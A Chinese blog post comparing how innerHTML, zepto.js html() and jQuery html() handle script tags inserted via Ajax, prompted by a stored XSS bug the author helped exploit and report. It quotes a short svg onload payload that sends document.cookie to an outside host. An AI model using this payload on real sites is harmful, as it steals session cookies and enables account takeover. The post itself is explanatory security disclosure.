html()和innerHTML的注意事项

jQuery 是最常用的一个 JavaScript 库,其中的 element.html() 是一个将 HTML 代码插入某元素的方法,而 element.innerHTML 是 JavaScript 原生的插入方法。

以前,因为没有使用的需求,所以一直单纯地认为 jQuery 的 element.html() 只是对 element.innerHTML 的一个简单封装,但是昨天,发现事情并没有这么简单。

 

老师说过,写文章要有起因、经过、结果,所以先说说故事起因。

 

起因

小伙伴在某企鹅网站上发现一个存储型 XSS 漏洞,因为他对前端不了解,所以叫我来帮忙绕过滤。该页面不仅会对输入内容进行过滤,并且有最高 50 字符的字数限制,虽然没有了解到完整的过滤规则,但是经过简单的测试发现过滤比较鸡肋,连 <script> 标签都能成功插入。但是比较坑的是,每个企鹅账号仅能提交 15 条信息,所以无法进行大量尝试。

页面不是加载完成后就能直接触发 XSS 漏洞的,而是点击评论按钮后,页面通过 Ajax 请求评论信息并插入 DOM,若评论信息中包含 XSS 代码,才会最终触发。

提交漏洞后企鹅快速响应,现在洞已经补上了,就公布一下当时可以利用的代码。

<svg/onload="window.location.href='http://xss.domain/?id='+document.cookie">
 

嗯,后面的内容其实和日站没啥关系了,都是对 element.innerHTML 和 html() 进行的测试对比。

 

经过

原生 JavaScript 测试

先试试原生 JavaScript 中的 element.innerHTML。

<!-- index.html -->
<html>
<head></head>
<body>
<div id="content"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "index.txt");
xhr.send();
 
xhr.addEventListener("readystatechange", function(res){
    if (res.target.readyState === 4 && res.target.status === 200) {
        document.getElementById("content").innerHTML = res.target.responseText;
    }
});
</script>
</body>
</html>
 
 
<!-- index.txt -->
<script>
alert('index.txt');
</script>
 

写好剧本:

1、打开 index.html(需要 HTTP Server);

2、页面自动发起 Ajax 请求,获取 index.txt 中的内容并加入 div 中;

3、最后自动执行 <script> 标签中的内容,即 alert('index.txt');,弹出 “index.txt” 字样的对话框。

 

打开运行…?(`Д´)ノ 教练,这和剧本写得不一样!!!

没有任何反应,虽然成功加载了 index.txt 中的 <script>alert('index.txt');</script>,也添加到了 DOM 中,但是就如同写入的是文本一样,完全不执行任何代码。

 

Google 一下,你就知道:

在 window.onload 触发前,通过 element.innerHTML 写入的脚本会正常执行,但是 window.onload 已经被触发后再加入脚本,就不会再自动执行了。

怎么办,正常情况下可以直接使用 eval() 执行脚本,虽然不怎么安全,但也是一种解决方法。但是在日站这种非正常情况下,就得另辟蹊径了。

 

别忘了,还有一个方法,是 document.write(),这个方法没有 element.innerHTML 好用,因为前者每次都会重写整个文档流,引起整个页面的重流,但后者可以对某个具体的元素的内容进行更改,也就不会重流整个页面了。虽然这个方法可以执行脚本,但是后果就是整个页面只剩下写入的内容,其他包括 <head>、<body> 统统都没了。所以想要不破坏页面,还是少用它吧。

 

zepto.js 测试

打开页面应该做的第一件事应该是右键查看源代码。——沃兹吉·硕得

本人贯彻上述真理,当然在第一时间了解到有漏洞的页面是使用了 zepto.js 库。

zepto.js 是一个轻量级的类 jQuery 库,其也是使用 $ 符号,而且很多功能实现与 jQuery 一致。OK,把代码改吧改吧,用 $.ajax 获取脚本看看会不会执行。

 

修改后的代码长这样:

<!-- index.html -->
<html>
<head>
  <script src="zepto.js"></script>
</head>
<body>
<div id="content"></div>
<script>
$.ajax({
  type: "GET",
  url: "index.txt",
  success: function (data) {
    $("#content").html(data);
  }
});
</script>
</body>
</html>
 
 
<!-- index.txt -->
<script>
alert('index.txt');
</script>
 

不同于使用原生 JavaScript 的没有任何反应,zepto 给足了面子,立刻弹出了 “index.txt” 字样的对话框。

哟西,内联的 JavaScript 代码执行成功,那引用外部的脚本那也是可以的吧?

 

<!-- index.txt -->
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">
 

把 index.txt 修改为上面的内容,再次请求…

 

说好的请求外部资源呢?为什么就只有这 3 个文件的请求?我的 1.9.0 版本的 jquery.js 呢?

 


HTTP请求
嗨呀好气啊,是不是跨了域啊?<script> 又不是不能跨域…改了一试,果然还是没有请求。

 

zepto.js 测试结果是:

zepto.js 通过 Ajax 获得的包含 <script> 标签的字符串在加入 DOM 时会被执行,但是前提是 <script> 标签不是用于请求外部文件,而是内联 JavaScript 代码。

 

jQuery 测试

既然类 jQuery 的 zepto.js 不能请求外部文件,所以 jQuery 也不能么?带着这个疑问,我又测试了一下 jQuery,结果却有些不同。这里使用最新释出的 jQuery 3.1.0。

 

若是内联的 JavaScript 代码,可以正常执行,这点毫无疑问。

但是把 index.txt 再次改成下面那样后,竟然成功请求了这个文件。

<!-- index.txt -->
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">
HTTP请求
HTTP请求
经过测试,连跨域都可以成功加载,那么同源时,一样能加载文件。


 

 

jQuery 测试结果是:

jQuery 通过 Ajax 获得的包含 <script> 标签的字符串在加入 DOM 时会被执行,若 <script> 标签用于请求外部文件,也可以正常请求。

 

结果

仔细看 demo 文件,发现差别就在于 html() 和 innerHTML。

所以以上测试的结果就是:

innerHTML 完全无法执行由 Ajax 得到的 <script> 标签内的脚本

zepto.js 和 jQuery 都可以执行由 Ajax 得到的 <script> 标签中的内联脚本

jQuery 可以请求到由 Ajax 得到的 <script> 标签的外部请求的文件

 

尾声

好菜啊,这都写得啥,真是 naive,果然下篇还是写篇详细的分析吧,期待下期吧

时间: 2024-10-28 04:49:50

html()和innerHTML的注意事项的相关文章

innerText innerHTML的用法以及注意事项 [推荐]_javascript技巧

请点击下边的文字..... 你好吗? 你姓啥? 恢复原样

iframe 的用法与注意事项

好多同志对 iframe 是如何控制的,并不是十分了解,基本上还处于一个模糊的认识状态. 注意两个事项,ifr 是一个以存在的 iframe 的 ID 和 NAME 值:    document.getElementById("ifr");    window.frames["ifr"]; 要想使用iframe内的函数,变量就必须通过第二种方法.因为它取的是一个完整的DOM模型(不知道这样说对不对).第一种方法只是取出了一个OBJECT而已. 如果只想改变ifr

jQuery语法总结和注意事项小结_jquery

一.简介 1.1.概述 随着WEB2.0及ajax思想在互联网上的快速发展传播,陆续出现了一些优秀的Js框架,其中比较著名的有Prototype.YUI.jQuery.mootools.Bindows以及国内的JSVM框架等,通过将这些JS框架应用到我们的项目中能够使程序员从设计和书写繁杂的JS应用中解脱出来,将关注点转向功能需求而非实现细节上,从而提高项目的开发速度. jQuery是继prototype之后的又一个优秀的Javascript框架.它是由 John Resig 于 2006 年初

学JavaScript七大注意事项【必看】_基础知识

知识说明: 初学JavaScript,注意以下七大细节,在实现同样功能的情况下,让我们的代码更易懂.效率更高. 一.简化代码 例如:创建对象 之前是这样的: Var car = new object(); Car.color = "red"; Car.wheels = 4; Car.age = 8; 而现在可以写成这样子: Var car = {color:'red', wheels:4, age:8} 例如:创建数组 之前是这样的: Var studentArray = new Ar

安装win7系统后需要注意的三大事项

  安装win7系统后需要注意的三大事项 1.禁止休眠 休眠过程中会导致网络也会跟着断开,而且还会占用系统盘的空间,关闭的话还可以提高运行速度的,何乐而不为呢? 2.删除旧系统备份文件 在win7系统安装完毕之后,默认情况下是会自动生成系统备份的,但是因为系统备份所占据的内存空间比较大,所以建议大家删除.在后期如果遇到问题,可以选择启动系统还原功能即可修复了. 3.虚拟内存的设置 在安装完成之后为了能够有效的提升运行速度,建议用户可以转移内置的虚拟内存,如果win7系统用户自带的内存空间较大的话

innerhtml-无法设置属性“innerHTML”的值: 对象为 null 或未定义

问题描述 无法设置属性"innerHTML"的值: 对象为 null 或未定义 function getdbxx(posturl, paramstr, spanid, inputid) { $.ajax({ type : "post", url : posturl, dataType : 'json', data : 'portletConfigJson=${portletConfigJson}&'+paramstr, success : function(

并行安装Visual Studio系统的注意事项分析

有时候出于系统兼容性的需要,开发人员可能会在操作系统上安装Visual的各个版本.如 Visual2008与2005.为什么开发人员会有这么需要呢?如原先开发人员在2005环境下开发了一个 ERP系统.现在开发人员觉得2008这个开发平台比较适合自己,就需要将这个软件移植到2008的 开发环境下.由于不同的版本在功能上会有所差异,为此就需要同时使用两个不同版本的开发 环境,以便于测试系统的兼容性.此时就需要在同一台计算机上同时部署多个版本的开发环境 .利用专业的术语就是说,Visual的并行安装

MySQL主从严重延迟后迁移Transfer的注意事项

MySQL-Transfer逐渐有一些其他公司的同学在使用,这里会持续更新运维上的注意事项.        背景        正常情况下,若要从原来的主从切换成Transfer 模式,只需要作如下步骤: 1.在slave相同机器上部署一个Transfer,并配置好各种remote_slave参数 2.在slave上stop slave 3.把slave的表结构dump给transfer 4.从slave中查看当前执行到master的位置 5.在transfer执行change master x

js innerhtml-这个innerHtml有什么问题吗?没作用啊

问题描述 这个innerHtml有什么问题吗?没作用啊 document.getElementById("cont").innerHTML='<div id="yc-mod-slider"><div class="wrapper"><div id="slideshow" class="box_skitter fn-clear"><ul><li>&l